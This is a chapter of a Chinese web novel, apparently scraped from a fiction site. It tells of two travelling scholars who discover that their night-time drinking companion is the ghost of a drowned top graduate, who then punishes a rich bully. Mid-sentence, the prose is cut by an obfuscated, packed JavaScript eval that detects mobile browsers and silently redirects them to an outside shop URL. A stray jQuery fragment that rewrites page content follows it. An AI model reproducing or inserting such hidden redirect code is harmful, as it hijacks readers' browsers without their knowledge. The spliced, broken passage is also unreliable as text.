陈言被船家叫醒时，甚至有茫茫然、不知今夕何夕之感。
他似乎做了一个很长又很美的梦，梦里满船清河，月华照江，美人唱诗作酒……一直到船家大喝出声，他才怔怔看去。
“陈举人，你等昨夜就睡在此处？”船家肃声问道。
他身后还跟着三两橹手，皆面色惊诧，陈言这才意识回笼，见到周身裹着棉被，孟潭还在旁边的船板上呼呼大睡，不由道，“我等……我等昨夜饮了酒，不知不觉便睡着了，现下是几更了，为何天还未亮……”
陈言前几句的语调还犹在梦中，断断续续的，说了几句话之后彻底清醒，身子缓缓坐正了，向左右看去。
天空灰沉沉的，日头还未升起，江面上已经泛起了白雾。
船家与旁人对视了一眼，回道，“现下是五更天，我们早起前来查看水况，这才在船尾发现二位举人。”他又紧接着问，“我们船行有规矩，行客船时不许饮酒，不知陈举人是从何处得来的？”
“……”
陈言犹疑道，“正是昨夜里……老丈您给我的……”
然而，愈是回忆，昨夜的这段记忆也愈不清晰了。陈言说到此处，被蒙蔽的心神也终于察觉到了诡谲，面色发白。
……若不是船家，那当时给他酒的人又是谁？
此时孟潭身体动了动，口中一边嘟囔“怎的这么吵”，一边悠悠转醒，刚好看见陈言难看的脸色，恍恍惚惚道，“陈子风……你脸上这般白，莫不是撞鬼了不成？”
此番话一出，众人都有些颤颤。
如今可不就像是撞鬼了么！
日头一点点升起，江面上的雾却没有散去，而是变得更浓了。远处的山水相接处变成了一道细细的黑线，就连红日也似一块被烧过了的铜镜，在雾中摇摇摆摆地悬着。
船家经验丰富，只看了一眼便道今日不宜行船，命橹手尽力将船往岸边靠，又肃着脸，让陈孟二人同他入舱内细谈。
孟潭尚不清楚发生何事，直愣愣地跟着陈言走，还边走边打了个喷嚏，将外衫包得更紧了。
怪哉……他心道：昨夜是和陈言一同入睡，裹同一个棉被里的，怎么陈子风一切如常，他就冷飕飕的，像是被人扔在被子外睡了半宿似的……
三人一齐来到了船舱。
舱内是有隔了主客区的，用屏风隔开。客舱内仍是满地的大通铺，那几个举人睡得东倒西歪，还未见醒；主舱便是船家与橹手们夜间休憩的地方，面积较小，亦是堆放了各样杂物。
船家让陈孟二人坐在矮凳上，看孟潭冷得厉害，还为他们奉上热茶，便厉声道，“还请二位举人告知实情，昨夜间究竟发生了何事？”
陈言捧着茶，定了定神，才缓缓开始诉说。
他先是从向‘船家’借酒说起，船头歌声、他们二人饮酒念诗，又遇沈六郎，同他谈天论地，赏了一夜月色……
明明才过去不到几个时辰，陈言眼下说起此事，竟有‘南柯一梦，大梦初醒’的错觉。
船家的神情却愈发严肃，听完后立即道，“我这船上不多不少，只乘了八位举子，何来的这第九人也？”
孟潭也是渐渐明白了他们在说什么，打了个哆嗦，“如此说来，那……那沈六郎，究竟是人是鬼？”
昨夜被轻纱笼住的蒙蔽散去，两人即刻便察觉到了当时被忽略的怪异之处。
且不说这其他六位举子，他们白日都是见过面还打过招呼的，沈六郎所说‘尚在酣睡’实在站不住脚跟；更何况沈六郎自言幽州人士，幽州的人又怎会上他们交州的船？……
倒是船家听着，口中来回喃喃‘沈六郎’、‘幽州沈家’，过了许久，突地猛然瞪大眼，惊道，“是了，是了……老汉我想起来了，这、这艘船七年前确实途径幽州，搭了一位姓沈的状元郎……”
只不过，那时他不是沈六郎，而是叫沈之安。
船家长叹一声，细细道来。
说起来，这也是一桩顶顶凄惨之事。
幽州沈氏乃清平之家，书香门第，也算是当地豪族，而沈之安便是那一代中最出彩的小辈，五岁能诗，七岁过童试，二十岁中状元，少年及第，金马门琼林宴，满楼红袖招。
然而才命相妨，玉折兰摧，沈之安于七年前着状元袍衣锦还乡，乘船过北江，失足坠江而亡。
之安之安，到最后却葬于鱼腹，落得个凄然下场。
……一直到用午膳时，陈孟二人还浸在这桩往事中。
孟潭沉默地吃了一会儿饼子，突然开口，“水鬼又如何，昨夜的举酒论诗又不是假的，那沈六郎亦未曾害过我们，想来纵是鬼，也是个好鬼。”
他见陈言不语，便哼声，“陈子风，你可是怕了？”
“……”
陈言垂下眼，脸上露出一点孟潭从未见过的神色，有些阴晦，轻声道，“孟兄，人与鬼，又怎可同日而语，毕竟……”
他忽然住了口。
原是张玉恒气势汹汹地朝这里来了。
睡过一夜，又吃饱喝足，这位知事府的金贵公子自然就想起了昨日的争吵，前来找他们的麻烦了。
张玉恒高高在上地抱臂瞥了一眼他们的食盒，便轻飘飘道，“果然是乡巴佬，尽爱吃些我家猪都不吃的东西，真是可怜，想必这辈子都未尝过精米吧。”
孟潭心神都被沈六郎所困，本来不想搭理他，偏偏又说得实在难听，强忍火气讥讽道，“若我们是猪都不如之物，那和此等物说话的人就是什么，莫非是我等的同类么？”
“谁和你们是一类！”张玉恒轻而易举就被激怒，“我每日吃的都是白面细粮，粥只要银镶瓯儿梗米做的，其他鸡鸭鱼肉，人参燕窝，更是数不胜数，你们又懂什么！——”
“是是是，不愧是‘贵子’，厉害厉害。”
孟潭翻了个白眼，在张玉恒面露得意时，话锋一转，“不过我怎么记得，九品知事好像没这么多山珍海味可享用吧？就连四品官，每顿饭的菜肴都不能超过八盘，肉菜也是有限的，你们不过区区九品，怎么就……”
陈言接道，“自是不知侵占多少民脂民膏了。”
“什、什么民脂民膏？”张玉恒才反应过来，大怒道，“你是在说我张家贪污么！”
怎么会有人蠢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770650|209892||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成这样。
偏偏蠢笨至此，竟还能当上举人，要去京城赴考。
陈言心中已是有几分不耐了，只想胡乱敷衍几句摆脱此人，却见张玉恒脸涨得通红，一下子气不过了似的，猛地举起了手，大声喝道，“看我不打死你们两个泼脏水的乡巴佬——！”
他发作地太快，也太突然了，孟潭制止已是来不及，急忙要挡在陈言身前，却只听‘啪’地一声，张玉恒的手掌飞快挥下——
一个又重又响亮的巴掌打在了他自己的脸上。
陈孟二人皆是怔住。
张玉恒被这一巴掌打得偏过头去，还没意识到发生了什么，脸上就传来了火辣辣的疼痛，仿佛被灼烧一般，愤怒的神情滑稽地凝固住了。
但很快，他的手又不受控制地高高举了起来。
“什么——我不——”
又一个巴掌重重落下。
张玉恒见了鬼似的惊恐地睁大眼，极力想要控制身体，却只感到一阵无形的冷气涌入，制住了他的手脚。
就这会儿功夫，又是五六个耳光扇了过来，他的双手毫不留情地打在自己的脸上，左右脸开弓，只听啪啪声不绝，很快就将薄薄的脸皮打得红肿青紫，形如猪头。
张玉恒哪里受过这个哭，不由痛哭流涕，甚至将求救的目光投向眼前两人，哀求道，“救……救我……我不想……”
陈言这才从这副荒诞的场景中回过神来，忙上前拉住他的胳膊，孟潭也急急地扯住了另一边。
他们虽然厌恶张玉恒，却也没想过让他死啊。
两人皆用尽力气，却仍抗拒不了那无形的力道，张玉恒只觉得分尸一般痛，凄惨哭道，“我要死了！我要死了！有鬼，有鬼想杀我！”
这边闹得动静太大，其他人的目光也看过来，不由大惊，也纷纷加入了帮忙的队伍。
一片混乱中，陈言听张玉恒嘴里叫着鬼不鬼的，猛然意识到了什么，大声道，“沈六郎，可是你在此处么！”
此话一出，控制着张玉恒的那股阴冷之气就松了一松。
陈言确定了自己的猜测，忙缓了语调，道，“六郎，我知你是看不得我们被欺辱，只是这张玉恒罪不至死，你就放他一条生路吧。”
其余众人见他抬头对天说话，尽皆悚然。
但很快，在陈言说完不久，那股冷气就消失了，张玉恒立即软倒在地，口中哇哇哇吐着鲜血，一张肿胀的脸上又是泪又是鼻涕，狼狈地混在一起，再也看不出之前趾高气扬的样子了。
几人看得，骇然之外，眼中满是惧意。
他们都清楚，适才张玉恒是被一股无形之物控制住了的。
孟潭也是心中极冷，第一次见识到人力以外的力量，完全无法抗拒，那句‘鬼也是好鬼’哽在了喉咙里，再也说不出来了。
只有陈言顿了顿，面色虽也苍白，却竟缓缓露出了个笑，温声道，“……多谢六郎。”
冷冷的白雾中，忽然传来一声轻轻的、飘渺的叹息，“子风……”
“你太良善了……”
那铜锈般的红日突地堕了下去，江面上的雾更重了。